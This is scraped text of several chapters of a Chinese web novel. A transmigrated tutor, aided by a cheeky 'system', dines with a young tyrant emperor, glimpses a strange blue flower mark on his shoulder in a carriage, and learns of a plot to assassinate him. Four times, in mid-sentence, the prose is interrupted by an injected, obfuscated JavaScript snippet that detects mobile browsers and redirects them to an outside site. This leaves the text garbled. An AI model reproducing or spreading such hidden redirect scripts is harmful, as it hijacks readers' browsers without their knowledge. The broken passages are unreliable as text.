顾衡之说罢,就撞见萧子政不悦的目光,他盯着正在喝羊肉汤的学生们,恨不得把那些学生们手里的羊肉汤全都给抢回来似的,活像护食的小狼。 要不是刚抿了一口羊肉汤,顾衡之就要笑出声了。 看原著小说的时候,顾衡之还没有觉得,现在一跟萧子政相处,顾衡之就深刻地感受到身边的这位小暴君也是有血有肉的人,鲜活生动。 “太傅倒是慷慨,把孤准备送的东西,全数打发了去。”萧子政端起杯子,赌气似的一饮而尽。 杯子里的羊肉汤让萧子政很不过瘾,他抬起手下意识地想把杯子砸在地上,抬头就见学生们谈笑声分,其乐融融,而太傅就坐在自己身边,陶瓷渣子若是溅起来,难免会溅到太傅的脸上。 萧子政抬手,然后把杯子重重地放回了原位。 这动静有点大,但在一片欢乐的气氛中根本就算不上什么,只有顾衡之听得清楚。 小暴君闹脾气了吧。 果然如系统所说,萧子政把这些东西弄过来,并不是考虑到了寒窗苦读的学生,而是为了孝敬老师。 不过,虽然如此,能够受到小暴君的关心,还是让顾衡之很吃惊的。 “臣是哪里又惹陛下不开心了吗?”顾衡之轻声说道,“陛下竟想让臣把这些东西都吃下肚子,难不成是要责罚衡之?” “此话何解?”萧子政瞪了顾衡之一眼,差点把杯子给捏碎,“太傅喜欢喝羊肉汤,孤便叫御膳房多准备了些,太傅难不成还觉得孤有错?” “陛下当然没错。”顾衡之连忙帮萧子政顺毛,他也不知道为什么小暴君脾气忽然又变差了,不知道是被谁惹到了,“只是,假若衡之饮下十罐羊肉汤,岂不是撑得连路都走不动,还要劳烦陛下背回去?” “那也没什么不可。”萧子政闷闷道。紧接着,萧子政思考了一下,才后知后觉地意识到顾衡之在拿他开玩笑,他正想气愤地把手里的筷子拍在桌子上,顾衡之已经眼疾手快地盛了碗羊肉汤放在萧子政手边,跟未卜先知似的—— 做生意的人,没点眼力见怎么行? “太傅对齐……”萧子政又卡壳了,记名字这东西,萧子政一向不擅长,他记人都只记官职,因为这样最简单,萧子政接着低声道,“太傅为何对齐教习的爱好这么了解?” 说着说着,萧子政心里就有火气。 小暴君难不成怀疑原主跟齐书宝表面不和但实际上暗中勾结? 听到萧子政的发问,顾衡之不由得后怕。 顾衡之赶紧笑盈盈地说道:“陛下忘记了吗?衡之与齐教习入京后同在翰林书院学习过,也算是同窗书友,只是偶尔听齐教习说起过。” 顾衡之说得小声,说的时候还特地偏了偏角度,以免齐书宝发现他在说谎。 幸好,萧子政没有发火,貌似对顾衡之的这个回答还算满意。 萧子政和顾衡之一同坐着,自然也就成为了全场的中心,他们眼见萧子政几次想要发火,都被顾衡之成功阻断,心也跟着提起又放下,跟从悬崖上跳下一样刺激。 这顿饭吃下来,基本把谣言破了个干净—— 顾太傅分明就是陛下放在心尖尖上的人,到底是谁说陛下不杀顾太傅,是因为先帝秘旨的?胡说八道。 “太傅可还记得孤的嗜好?”萧子政幽幽开口道,又发起了新的一轮“攻击”。 “射箭,刑讯逼供?”顾衡之毕竟是状元,迅速回顾起了早上提到过的知识点。 “孤是说,太傅可曾记得孤喜欢吃什么?”萧子政道,目光灼灼。 小暴君说的是“可曾记得”,而不是“是否知道”,那就说明小暴君曾经对原主讲过,如果他说不知道,小暴君肯定心里不舒服。 坏了,问题在于,顾衡之还真不知道。 “喂,系统,你知不知道小暴君喜欢吃什么?”顾衡之连忙进行场外求助。 【喜欢吃什么……】系统沉思了片刻,也很苦恼,【你跟小暴君都不是什么重要的角色,还像书里没有提到,要不你随便回答一个?】 顾衡之:…… 不过,顾衡之并不慌张,他扫了一眼小暴君桌上的菜式,在一众菜式中,湘南辣子鸭被吃得都见底了。 顾衡之的嘴角忍不住上翘了些—— 小暴君要考他,都不记得把答案遮一遮,这下好了,暴露了吧。 “陛下喜欢吃的,就是臣喜欢吃的。”顾衡之说罢夹了一筷子湘南辣子鸭,细嚼慢咽,辣椒油将顾衡之的唇色更加鲜亮。 明明顾衡之可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14480940|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以直接说答案,却故意迂回曲折…… 【宿主,你好骚。】系统得出这样的答案,满头黑线。 “啧,你懂什么。”顾衡之怼了系统一句,悄悄观察着萧子政的反应,他又夹了一筷子,用手接着,好像要喂萧子政似的。 vocal!vocal! 学生们拼命扒饭,装作很忙的样子,实际上眼睛都要突出来了,不敢八卦,但是又很想要八卦。 陛下会吃太傅喂过去的东西吗?会吗?! 他们并不知道,萧子政在苍龙殿的时候,就已经被顾衡之投喂过羊肉汤了,要是知道,他们还不得把屋顶掀翻? 面对顾衡之的投喂,萧子政乖乖张口,很熟练地结果顾衡之筷子上的食物,像是这么做了千百回。 萧子政细嚼慢咽着,从来没有如此用心地品尝一样食物。 萧子政咀嚼着咀嚼着,忽然意识到了不对劲—— 他刚刚跟太傅用了同一双筷子。 …… “完了!忘记换筷子了!系统!我,刚刚是不是跟小暴君用了同一双筷子!”顾衡之心里一个咯噔,他就怕萧子政有洁癖之类的设定。 【宿主,淡定,小暴君肯定不会杀你的。】系统翻了个白眼,很敷衍地回答道,因为他现在要做一件大事—— 白色毛绒团攀着顾衡之的发丝,悄咪咪地躲在顾衡之身后观察着萧子政和顾衡之的互动。 嘶,怎么……看着好像有点……有点不对劲捏? 系统小团子左顾右盼,越闻越感觉宿主跟萧子政之间好像有奸情的味道。 不对吧,应该是纯师生吧…… 系统在心里嘀嘀咕咕,越想心里却越没底。 * 事实证明,人多力量大,萧子政运来的这么多美食都被众人吃了个干净。 吃饱喝足,再聊聊八卦,那多是一件美逝。 有个胆子大点的学生问道:“陛下,自陛下莅临礼院以来,有一件事情萦绕在小人心头,困惑了小人许久,不知陛下能不能屈尊为小人答疑解惑?” 这个口音…… 那学生说话的时候带着巴蜀乡音,让顾衡之听着十分熟悉,顾衡之不由得想起礼部侍郎王从之就是这么个口音。 “你说吧,有什么问题要让孤替你答疑解惑?”萧子政的语气带了些不耐烦。 那与王从之极其相像的学生毕恭毕敬地从座位上来到了萧子政跟前,他跪了下来,行了个大礼。 那学生深吸了一口气,因为他知道成败就在此一举,他希望能得到萧子政的赏识。在家里,他只是个最小的庶子,虽然就读于翰林书院,但是终归和这些少爷们不同。能面圣的机会不多,这一次就是千载难逢的机会,如果他不赶紧抓住,说不准一辈子都是庶人了! “陛下,臣看着陛下身上的披风觉得格外眼熟,不知陛下这件披风,是不是顾太傅所赠的呢?”那学生低着头,恭敬地问道,他心里也在打鼓,不过,为了出人头地,他也豁出去了。 事实证明,磕对cp还是很有前途的,至少放在现在的情况下,这句话说得很对—— 众人都为那学生这么鲁莽的问题捏了一把汗,就连顾衡之都担心小暴君会不会觉得这学生是在刺探隐私,然后后把这学生丢出去杖毙处死。 那学生话一出,顾衡之心一紧,怎么劝说萧子政都想好了。 然而,与众人想象中的不同,萧子政不仅没有龙颜大怒,反而笑了,他站了起来,炫耀似的抖了抖身上的披风,然后说道:“你的眼力不错,这件确实是顾太傅赠与孤的。” 萧子政那开心的样子,就像是在说“你小子,有前途”。 顾衡之愣了愣,一时间捉摸不透萧子政的心思。 顾衡之并不知道,萧子政披着顾衡之的披风那么久,就等着有人来问呢。 终于有人来问自己身上的披风,是不是顾衡之给的,萧子政心情舒畅,甚至看齐书宝都要顺眼了些。 顾衡之的披风,萧陛下,居然不嫌弃! 庄夫子与齐书宝一同站在角落里,宽大的袍子之下,庄夫子的双手微微颤抖—— 他哪能想到……哪能想到……顾衡之居然如此得宠,要是顾衡之把那件事捅出去…… 不不不,不要自乱阵脚,顾久这厮看上去没有什么异常,甚至比平日里更好相与,可能,可能顾久没有看清楚…… 庄夫子内心的慌乱并不为众人所知。 王从之的小庶子得了鼓励,心里别提有多开心了,他大胆地看向顾衡之。 刹那间顾衡之感觉像是被这位“挖糖”同学隔着显微镜和放大镜轮流看了一遍。 “陛下,太傅腰间的匕首,如果小人没有看错的话,应该也是御赐。”王从之的小庶子道,“虽然匕首之鞘并不起眼,但好珠胜金椟,此匕首削铁如泥,匕首身上刻有龙印,凡东乾臣民见此匕首出刃如见陛下,此匕首更是以能检验臣子忠贞闻名遐迩,若忠臣之血溅于匕首之上,血不会有变化,若奸佞之血溅于匕首之上,血会化为全黑,越是罪大恶极的奸佞,血液所化之黑则越深。” 这匕首,居然,居然这么神奇? 顾衡之忽然觉得腰间沉甸甸的,说实话,他真想试试看自己的血溅在上面是什么样子的。 “你的父亲是侍郎吧?”萧子政道,“果真是虎父无犬子。” “陛下啷个晓得的诶?”“挖糖”同学问道。 萧子政摇摇头,看起来高深莫测,而顾衡之则知道—— 肯定是从那一句句带有巴蜀特色的官话里知道的,要是王从之知道因为说官话不标准而被萧子政记住,不知道得有多激动。 “你叫什么名字?”萧子政问道。 “陛下,小人名为王唐,尚未有表字。”王唐道。 萧子政大手一挥道:“赏。” 萧子政并不说赏赐多少,因为他懒得记,所以他在登基之初就命礼部草拟了规制,这样就不需要他去操心,他只用说赏便是了,由礼部按照规制度量。 “谢皇上!”王唐连忙叩谢。 萧子政并不知道,今日发生的事情,跟插了翅膀似的流传出宫外,许多话本如同雨后春笋一般冒出,就为了能夺得圣上赏赐…… “太傅跟孤走吧。”萧子政起身道。 “陛下,臣午后还要留在礼院履职……”顾衡之礼貌性地推拒了一下,以免自己不像个好臣子。 “齐教习,今日,你替太傅,回头领赏。”萧子政说道,语气不容拒绝。 萧子政一系列操作看傻了顾衡之—— 不是,怎么感觉,现在小暴君,暴是不暴了,但是好像在昏君的道路上越走越远呢…… * 顾衡之跟着萧子政上了马车。 帝王的车厢内点满了安神的香薰和暖炉,十分暖和,萧子政不知怎的,一下子就睡了过去,靠在顾衡之身上,歪歪斜斜的,头上还翘了几根呆毛,有点呆呆可爱,肩膀的外衣也掉了一半…… 等等…… 肩膀! 顾衡之意识到现在是个绝佳的机会。 第二个宝箱,肩膀上的血印,还是实践题。 意思是要他把小暴君的衣服给扒了看? 13.chapter13妖花 可以这样做吗…… 顾衡之有些迟疑。 虽然这样做是为了生命值,但是如果小暴君醒来发现衣服被扒下来,会不会把他给砍了…… 再者,要是扒着扒着小暴君突然醒过来,岂不是很尴尬…… 一时间,顾衡之选择恐惧症犯了,伸手不是,不伸手也不是。 【宿主,你磨叽什么啊,干就完了,都是男人,清者自清!】系统见顾衡之磨磨蹭蹭的,恨不得伸长毛绒触角把顾衡之的手摁到萧子政的肩膀上,【快一点啊。】 “催什么催,我有关节炎。”顾衡之随口糊弄了系统一句。 随后,顾衡之心虚地看向萧子政的肩膀,他深吸了一口气,缓缓抬手。 明明就不到一尺的距离,顾衡之的动作却慢得像是卡了壳的机器人,关节处都好像发出腐朽的声音。 不知怎的,顾衡之有些不忍心,要是萧子政真的如小说里描述的那样阴晴不定,是个纸片人一样单薄的任务,他倒没有心理负担,可眼前的人有血有肉…… 在顾衡之磨叽的片刻,马车的轮毂似乎压到了石头,车厢内忽然一颠簸,萧子政的身体歪斜得更加严重了,他现在已经不是靠在顾衡之身上了,而是整个人都在顾衡之怀里。 这个姿势对于顾衡之来讲真的有点累: 此时此刻,他的左手悬在空中托着萧子政的脖子,几乎僵硬,大腿被萧子政压着有点发麻,保不准下马车的时候会体会大腿消失的感觉。 顾衡之的指尖触碰着萧子政的肌肤,隔着皮肤他都能感受到萧子政有力的脉搏。 看得出来,小暴君对自己的太傅很是相信,这样折腾都还不醒,早上在苍龙殿的时候,小暴君可是十分敏锐地捕捉到了玩具发出的声音。 怎么跟八百年没睡过觉一样,像个小猪,只不过是长胸肌的小猪。 想到这儿,顾衡之的脑海中出现了一副猪长腹肌的鬼畜画面。 顾衡之笑了笑,从来没有人这么相信过他,只可惜,小暴君信任的是顾太傅,而不是他顾衡之。 顾衡之的手轻轻抚在萧子政的肩膀上,原本被蹭掉的衣服就回归了原位。 算了,下次吧,他顾衡之不是趁人之危的小人,更何况,小暴君还是他第一位顾客。 顾衡之没有理会系统的怂恿,他不仅帮萧子政把滑落的衣物回归原位,还细心地把萧子政衣服上的褶皱给捋平了。 按常理说,衣服的摩擦虽然难以避免,但也不至于能惊醒睡梦中的人。 可萧子政明显不是正常人—— “唔……”萧子政闷哼了一声,眉毛拧了起来,像是被人扰了清梦。浓密的睫毛颤动,他的呼吸忽然变得急促起来,体温从冷白的脖子处开始烫起来,绯红像是入了清水的朱砂般逐渐蔓延,最后都染到了小暴君的脸颊上。 这样子就像是萧子政突然发烧了,光洁的额头上都出现了一层细细密密的汗水,呼吸也更着变得急促了起来。 顾衡之并不知道,无论是脖子还是肩膀,对于萧子政来讲,都是旁人无法触及的敏感地方。 偏偏顾衡之还觉得有点奇怪: 难不成小暴君是因为太热了才把外衣给蹭掉的?这么热腿上还要盖着那件披风? 顾衡之以为马车上的暖炉熏得萧子政发热,还觉得自己把萧子政肩膀滑落的衣服盖回去是好心做了坏事。 既然小暴君“怕热”,顾衡之就打算把萧子政的外衣重新又扒下来。 谁料,顾衡之右手刚刚小心翼翼地捏住萧子政的外衣,怀里的人突然就醒了—— 萧子政像是从梦魇中突然惊醒,他不知道做了什么梦,整个人的呼吸急促,喘息声响彻这个幽闭的空间。 “太傅,不是!” 萧子政的语气中都急得带了哭意,像个无助的,被抛下的孩子。 萧子政这样子把顾衡之吓了一跳,他连忙凑了上去:“怎……” “砰!” 肌肤相撞的声音,疼痛深如骨髓,灵魂都差点被撞散—— 谁能料到萧子政跟梦游似的坐了起来。 顾衡之的嘴不知道被萧子政哪个部位给撞到了,几乎要裂开来了。 嘴上的疼痛还只是小事,萧子政突如其来的惊醒则是把顾衡之整个人都吓得僵硬住了,他心有余悸地对系统心道: “好啊你,小玩具系统,你差点害死我,幸好没有听你的怂恿,小暴君这么敏感,要是我真扒了小暴君衣服,岂不是被当成采花贼抓个正着?” 系统:…… 【宿主,要不你往你手上看一看呢?】 系统这一提醒,顾衡之总算忘记疼痛,视线慢慢移到了萧子政的肩膀上。 顾衡之沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14495036|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 光溜溜的,一件衣服也没有。 衣服呢? 在顾衡之手上—— 萧子政坐起来的时候太过突然,当时,顾衡之的手还捏着萧子政肩膀上的衣服,就这么重重一带,顾衡之就连着萧子政的外衣和亵衣一起扒了下来。 然而,顾衡之来不及尴尬,就已经被萧子政肩膀上那块鲜艳的“刺青”吸引了: 明明是贵为九五之尊的帝王,萧子政裸露的肩膀上却有个很明显的花纹。 那花纹生得十分妖艳,与萧子政的身份极其不符合,好像是一朵蓝色的花。 幽蓝的色彩宛若地狱中的业火,长在萧子政的肩膀上,就像是被盛在白玉盘子里。 那还是朵没有被人采撷的花朵,含苞待放,花瓣紧紧簇拥,层层保护着花蕊。虽然不知道它盛开之后会是什么样,但是毫无疑问,那样的场景断然摄人心魄。 在那妖花之上,有几道明显的抓痕,像是瘙痒难耐时,用尖长指甲拼命抓才留下的。 抓痕已经结了痂,但不难想象先前这里有过血迹。 这一定就是亵衣上血渍的来源。 顾衡之正想再看个清楚,就见那紧闭着的花瓣随着他专注的目光居然开放了些,花瓣之间的缝隙透出乳白色的细长花蕊,好像是在摇曳…… 顾衡之怀疑自己眼花了。 顾衡之慌张地收回目光,表现得像个非礼勿视的君子。 他的目光忍不住落在了萧子政的脸上。 这时候,顾衡之忽然注意到: 小暴君的鼻梁可真挺啊。 之前顾衡之都没有来得及仔细看,现在近距离一瞧,才发现萧子政整体的面相有种外邦人的美感,鼻梁也比东乾人更为立体挺拔,当然—— 也更硬。 不过,幸好顾衡之嘴硬,不然可能要流血了。 【流血了不正好,卖个惨就让萧子政主动把肩膀上的衣服留给你扒了!】系统恨铁不成钢,他带过的宿主都是表演的king,偏偏顾衡之这么正直,这么死脑筋。 顾衡之没有心情理会出谋划策的系统,因为萧子政正呆呆地望着他,好像是觉得自己的衣服是他顾衡之扒下来的一样。 “陛下,不是臣。”顾衡之一时间不知道说什么,一切都发生得太快,“刚刚,衣服就这么掉下来了……” 14.chapter14刺青 面对顾衡之的狡辩,萧子政没有说话,他似乎在忍耐着什么,喉咙里压抑着让顾衡之听不清楚的话语。 顾衡之不敢说话,他甚至都不敢再往萧子政肩膀上看。 “系统!你这宝箱是想害死我吧!”顾衡之愤愤道,“生命值怎么没有加上?” 【请宿主自己探索,毕竟要活命的是宿主亲呢~】系统道,【小小提示一下,宿主您还没有理清楚深层原因哦~】 系统的话听得顾衡之头很痛。 这下好了,偷鸡不成蚀把米,生命值没有拿到,小暴君还以为是他是猥琐扒衣老师,就连作为太傅的面子都没dei了! 快解释啊,死嘴! 顾衡之抿了下唇,他看着手中萧子政的衣服只觉得铁证如山,语言什么,十分苍白。 而萧子政的表情越来越严肃了。 坏了,难不成肩膀上的花是什么皇室秘辛? 也是,谁能想到热爱酷刑的东乾帝王,居然会在肩膀上刺个这样不合身份的花纹,要是被其他大臣知道,肯定觉得有损皇家颜面。 小暴君不会把他宰了吧! 顾衡之越看越觉得自己的猜测很有道理—— 小暴君皱眉头了,小暴君从他身上下来了,小暴君把披风掀开了,小暴君把他的披风拿起来了,小暴君…… 顾衡之呆住了。 他看到了什么? 小暴君…… 小暴君没有赶紧把肩膀的衣服带上去,反而直接拿顾衡之送的那件披风盖住了。 萧子政的肩膀磨蹭着顾衡之的披风,力道大到像是在虐待自己。 顾衡之能想象,白色绒面布料上的突起,此刻定蹂躏着那朵微微盛开,含着花蕊的蓝色花朵上的每一片花瓣。 如过那是真实的花朵,此刻花蕊肯定已经被折断了。 萧子政咬着唇,他战栗着,不知道是疼的还是怎么的,手里的动作却没有停,他的呼吸变得急促,披风摩擦肌肤的声音大到可怕,像是痒到不行。 好半天,萧子政才迷离地睁开眼,对上顾衡之迷茫的眼神。 萧子政抖了抖,他忽然意识到,那双不容亵渎,干净得如同冰雪一样的眸子正在看着他…… “太傅……你不要看我……”萧子政往马车角落缩了缩,散乱的鬓发挡住了萧子政的神色,他的语气有种事后般的沙哑…… 顾衡之看不清萧子政的神情,却莫名觉得萧子政的眼睛肯定是湿润而充满雾气的, 顾衡之本以为萧子政应该会马上把他踢下马车,就算不把他踢下马车,好歹也会厉声呵斥他。 而不是像现在这般…… 顾衡之词穷了,人世间的言语似乎难以形容萧子政现在的样子。 难以描绘萧子政倒映在顾衡之心中的影子。 顾衡之喉结滚动,鲜少有过邪念的心,黑了一半—— 充满欲色的影子…… 明明早朝的时候,萧子政还是那样高高在上,甚至能抱起他的帝王;明明在苍龙殿前,萧子政强大到可以一脚踢碎火炉;明明在翰林书院的时候,萧子政满脸怨气,后来又豪爽大笑…… 此刻的人却显得那么无助,又那么惹人怜爱…… 顾衡之的理性知道,皇帝的秘密是最听的不得的,就算是父子,在帝王家都充满了算计,更别提他顾衡之,只不过是一个没有实权的太傅…… 更何况,帝王之威断不可触,日后若是等萧子政心情一不好,想杀了他简直易如反掌。 所以说,现在他应该乖乖听萧子政的话,主动,立马下马车,其余的交给萧子政自己解决。 顾衡之捏紧了拳头。 “筝儿,你,怎么了?”顾衡之双膝着地,跪坐在萧子政面前—— 他还是做不到,好歹萧子政是他第一个学生。 他是萧子政的老师,必须得关心萧子政的身心健康。不仅仅是心灵,还有身体健康。 顾衡之相信要是原主在这里也会选择这么做的。 等不到萧子政的回答,顾衡之试图上前把挡在萧子政肩膀上的披风给掀开,看看萧子政伤势怎么样—— 那样重的力道,跟自虐似的。 萧子政的肩膀上本来就有结痂的伤痕,这样一用力揉搓,原本结好的痂肯定又被掀开了,不流血才怪。 萧子政却不愿意。 他的手指几乎是扣到绒面料子的内里,像是要把披风给戳破。 “筝儿,你是冷吗?” 顾衡之温声询问道,他毫不犹豫地把自己身上的外衣给蜕了下来。 “得罪了,陛下。”顾衡之轻声道,然后把外衣盖在了萧子政的身上。 说来奇怪,顾衡之把自己的外衣盖到萧子政身上后,萧子政却也不躲了。 萧子政深呼吸了几下,抓着披风的力道忽然松了。 顾衡之并不知道,萧子政在闻他的味道。他更不知道萧子政现在的状态是重身之体的躁动期,若是放任萧子政吸收他的气息,只会促使萧子政的症状越来越严重,躁动期越来越长,直到被气息的来源从里到外完全占有…… 相反,顾衡之看到萧子政的反应没那么剧烈了,还觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14503579|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的判断极其正确。 顾衡之上前了些,他张开双臂,也不管什么君臣之礼了,只是抱住了他的第一个学生,试图用自己的体温给萧子政带来一点温暖。 “陛下,要不要叫太医过来瞧瞧?”等萧子政清醒了些,顾衡之就不用“筝儿”这个感情牌称呼了,毕竟他跟萧子政除了师生,还是君臣。 萧子政摇了摇头,他却将鼻尖凑到了顾衡之挂着长珠串的手腕上。 “太傅,好香……”萧子政喃喃道。 啊?! 顾衡之被萧子政的虎狼之词吓了一大跳,好半天才反应过来萧子政说的是手串。 “可能是珠串上带有的檀香?”顾衡之道,说实话,他并没有觉得着珠串有多香。 “孤给太傅的拜师礼,太傅竟一直带着……”萧子政凑得更近了,呼吸时的气息扑在顾衡之的手腕上,有些痒。 顾衡之不敢轻举妄动,因为听着萧子政的自称,顾衡之就知道那个尊贵的帝王已经回魂了,现在可不是什么“筝儿”和他的好太傅了。 * 等到身体上的汹涌平复下来,萧子政却没有马上追究顾衡之扒他衣服的事情。 萧子政那阴鸷的目光在顾衡之的身上盘旋,于顾衡之来讲像是钝刀割肉。 “有刺青也没什么,陛下不必担心臣会拿礼法说教。”顾衡之终于忍不住了,说道,就像是在宽慰害怕染发被家长发现的大学生,“臣对今日之事也定会守口如瓶防意如城。” 刺青? 萧子政哑然—— 也对,他的体质除了阿父和父皇,就没有人知道了。他险些以为太傅博文广知,所以担心太傅知道他的体质就不愿与他接触了呢。 或者,太傅会更加劝他趁早广开后宫,安抚难捱的躁动。 只不过,若能够与他相伴一生的那人是太傅…… 萧子政被自己的这种想法吓了一跳,人人都说他暴虐无道,他确实不在乎世俗礼法,可若他将太傅强娶宫中,以太傅刚烈的性子,怕是只求白绫一丈,毒酒一杯。 萧子政垂眉低目,掩盖了心中的想法,他没有纠正顾衡之的错误说法,然后忽然起了捉弄顾衡之的心思。 萧子政故作严肃道:“哼,太傅可还没解释清楚先前为何对孤犯下大不敬之罪?太傅想如何解决?株连九族?或是告老还乡?” “那陛下看回来可成?”顾衡之朝萧子政俏皮地眨了眨眼。 当然,眨完他就后悔了—— 眨什么啊!看回来个头啊!顾衡之!你是嫌自己四天的寿命实在是太长了吗! 15.chapter15危险加一 萧子政显然没有意识到顾衡之也会有这么…… 这么奇怪的一面。 确实,太傅变得奇怪了很多。 萧子政眯了眯眼,却没有挑明顾衡之的破绽。 “咚咚。” 轻轻的敲击声响起,像是啄木鸟在啄木板。 顾衡之正在奇怪声音的来源,就见萧子政掀开了车帘,一只脚上套着信桶的漂亮鸽子就从钻进了车里。 那鸽子比一般鸽子都要瘦很多,可见想当皇家的鸽子也是要注重身材管理的。 而且,那鸽子的羽毛靓丽,头上还有条紫色的光亮带,就好比是官员中的紫带子。 “咕咕咕……” 鸽子跳到了萧子政的腿上。 萧子政熟练地将信桶里的信拆了出来,顾衡之很自觉地把眼睛给移开了。 不该看的少看,已经知道“刺青”的事了,要是再知道一个大秘密,他是真的不用活了。 如果是别的什么事情,萧子政可能还会把信纸展开了跟太傅一起看,遇到不懂的地方可能还会装不懂,向顾衡之请教—— 这样,就能够重温从前太傅教导他读书写字的时光了。 萧子政不知道自己为什么会是个念旧的人,可能是因为自从登基以来,就没有什么好事发生,所以只能沉浸在过去的回忆里聊以□□了吧…… 萧子政苦笑了一下。 小暴君为什么会露出这样的表情…… 顾衡之愣了一下,他甚至想抱抱萧子政。 “太傅可别偷看。”萧子政瞥了顾衡之一眼,做了个十分孩子气的动作—— 他特地用袖子挡住了顾衡之的视线。 其实并没有卵用。 顾衡之长得高,坐着也比免冠的萧子政高一截,真想要偷看的话,只需要稍稍一歪身子就能从顶上偷看到。 嘿呦,小暴君居然还不相信他! 为了避免萧子政的怀疑,顾衡之索性闭上了眼—— 不看就不看,他顾衡之行得正,坐得直。 顾衡之一脸坦荡。 见顾衡之总算闭上眼睛,萧子政的注意力总算回到了信纸上。 顾衡之并不知道,在他闭上眼的一瞬间,萧子政的神情就变得肃杀冷寂,那样的神态是在审问犯人是萧子政独有的。 萧子政展开纸条,撕开封条,那纸条上还带着点血迹: “刺客已招,其于春风楼承此任务,不知谁欲取太傅性命,亦不明缘由,唯晓此事似与朝中暗有关联,臣明此事不宜声张,已命暗卫待命,并未告知李将军,只待陛下下令。” 萧子政将纸上的血迹撕掉,封回信鸽的信桶里,接着就把信鸽放飞了,这便是准了的意思。 “春风楼?那是什么地方?”顾衡之闭着眼睛和系统交流道。 没错,顾衡之虽然承诺了不看,但系统可没承诺。 邪恶白绒球鬼鬼祟祟地爬到了顾衡之的发带上,偷看着纸条上的内容,并且在顾衡之脑海中进行了转播。 古代这么落后,打的就是一个信息差,不知有多少阴谋,是但凡有个手机就可以破解的。 说起来,系统商城里还有玩具手机,不过,那玩意儿最多只能拿来过家家。 【宿主,你到底有没有好好看原著?】系统抱怨了一声,接着解释道,【这当然是杀手组织的聚集地。】 “等等……我好像想起来了,就是那个,那个萧子恪后来勾结上的势力吧,他们驻扎在东乾和西蒙的交界地,西蒙那边好像很恨萧子政,恨屋及乌,连整个东乾都恨上了,连自家百姓跟东乾子民的后代都恨。春风楼里面的成员貌似都是东乾和西蒙百姓结合生出的孩子,因为不被两边接受,所以就在交界地做起了杀人越货的勾当,刚开始他们只是偶尔接接杀人外快,后来就扩大业务,发展成组织了。” 【没错宿主,要是咱们的玩具帝国也能发展得这么顺利就好了。】系统感叹道。 “重点不是这个吧!”顾衡之无语凝噎,“重点是,居然有人要刺杀我?还派了春风楼的杀手?这么大张旗鼓的吗?顾衡之又不会武功,请这么厉害的杀手,简直是小题大做。再说了,还真是奇怪,顾衡之不就是个小小太傅,杀他有很么用呢?” “艹,系统,背后的凶手见我没有死,会不会又派人过来刺杀啊!”顾衡之抖了抖,他之所以屈从于系统任务就是为了活着,现在不仅仅要赚生命值,背后还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14507662|154293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么多人想要取他的性命。 【你可以抱小暴君大腿?】系统支招道,【小暴君应该不会不管你的。】 确实,好像只能这么做了。 抱萧子政大腿,这是顾衡之和系统能想到的最好的主意了。 不过,要怎么抱大腿也很讲究—— 太傅只是个外臣,到了晚上总归要回自己府邸休息的,不能一直赖在皇宫里。 顾府的防守肯定比不上皇宫,更何况,萧子政本身就武力高强,那被踢得粉碎的火炉一次又一次地在顾衡之脑中回放,久久难以忘怀。 …… 顾衡之在跟系统商量有什么办法可以水到渠成地一直赖在皇宫里,都忘记了睁开眼。 萧子政早已把信鸽放飞了出去,他看着顾衡之紧闭的双眼—— 不管怎么变,太傅依旧是那个谨遵皇命的太傅…… 萧子政的目光又落到了顾衡之的左手上。 萧子政并不知道,顾衡之已经把纸条上的内容看了个遍,就连没有马上睁眼也是因为在脑海里跟系统聊嗨了所以忘记睁眼了。 “要不我直接又装晕?这样小暴君说不准又把我抱到寝宫去了,不就顺理成章地留下了?”顾衡之绞尽脑汁,才想到这么个不算缺德的办法—— 虽然他的方法有欺骗学生的嫌疑,可能有违师德,但系统的方法明显更损。 这个没有人类三观的系统,居然说什么建议顾衡之卖小玩具给小暴君,这样就可以以皇后的身份,入住苍龙殿,还可以拥有无穷无尽的生命值,习武的人身体都倍儿棒,肯定受得住…… 听完系统的建议,顾衡之觉得自己耳朵都脏了。 “太傅,可以睁眼了。”萧子政轻声道。 